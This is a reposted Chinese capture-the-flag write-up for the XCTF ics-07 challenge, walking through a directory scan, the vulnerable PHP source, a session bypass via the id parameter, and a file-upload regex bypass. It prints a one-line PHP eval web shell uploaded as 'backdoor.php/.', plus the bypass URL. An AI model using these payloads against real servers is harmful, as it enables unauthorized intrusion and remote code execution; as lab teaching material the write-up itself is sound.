XCTF 4th-CyberEarthics-07

Posted chalan630

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF 4th-CyberEarthics-07相关的知识,希望对你有一定的参考价值。

信息:

题目来源:XCTF 4th-CyberEarth

题目描述:工控云管理系统项目管理页面解析漏洞

解题过程

进入网站后,首先进行目录扫描:

[TIME] 			=> 2020-07-08 15:34:39.931717
[TARGET] 			=> http://220.249.52.133:54884/
[NUMBER_OF_THRED] 	=> 10
[KEY_WORDS] 		=> [‘flag‘, ‘ctf‘, ‘admin‘]

[302] => index.php
[200] => flag.php
[200] => config.php
[200] => /config.php
[200] => index.html

得到以上文件信息,发现名为项目管理中心的页面:

技术图片

发现网页源代码(第一部分):

<?php
session_start();

if (!isset($_GET[page])) {
    show_source(__FILE__);
    die();
}

if (isset($_GET[page]) && $_GET[page] != ‘index.php‘) {
	include(‘flag.php‘);
}else {
	header(‘Location: ?page=flag.php‘);
}
?>

本部分代码无需特殊处理。

第二部分:

<?php
if ($_SESSION[‘admin‘]) {
    $con = $_POST[‘con‘];
    $file = $_POST[‘file‘];
    $filename = "backup/".$file;

    if(preg_match(‘/.+.ph(p[3457]?|t|tml)$/i‘, $filename)){
        die("Bad file extension");
    }else{
        chdir(‘uploaded‘);
        $f = fopen($filename, ‘w‘);
        fwrite($f, $con);
        fclose($f);
    }
}
?>

这部分代码首先需要满足$_SESSION[‘admin‘] == True才行。

当满足上述条件时,可以使用post上传文件,要求文件后缀名不能为:php、php3、php4、php5、php7、pht、phtml。

第三部分:

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== ‘1‘ && substr($_GET[id], -1) === ‘9‘) {
	include ‘config.php‘;
    $id = mysql_real_escape_string($_GET[id]);
    $sql="select * from cetc007.user where id=‘$id‘";
    $result = mysql_query($sql);
    $result = mysql_fetch_object($result);
} else {
    $result = False;
    die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
    echo "id: ".$result->id."</br>";
    echo "name:".$result->user."</br>";
    $_SESSION[‘admin‘] = True;
}
?>

这部分代码需要满足:

  1. 存在id ≠ (int)1
  2. id的最后一位 = 9

满足这两个条件时:$_SESSION[‘admin‘] = True;

构造payload:http://ip/index.php?page=flag.php&id=1a9

技术图片

这时,可以使用post方式上传文件,file为文件名,con为文件内容。

正则的话是判断.之后的字符,因此我们可以利用/.的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。

file=backdoor.php/.&con=<?php @eval($_POST[‘123‘]);?>

使用菜刀类工具连接,得到flag

以上是关于XCTF 4th-CyberEarthics-07的主要内容,如果未能解决你的问题,请参考以下文章

XCTF---easyjava的WriteUp

XCTF练习题---MISC---Banmabanma

xctf - stack2

XCTF-unserialize3

xctf新手党随记

XCTF练习题---MISC---hong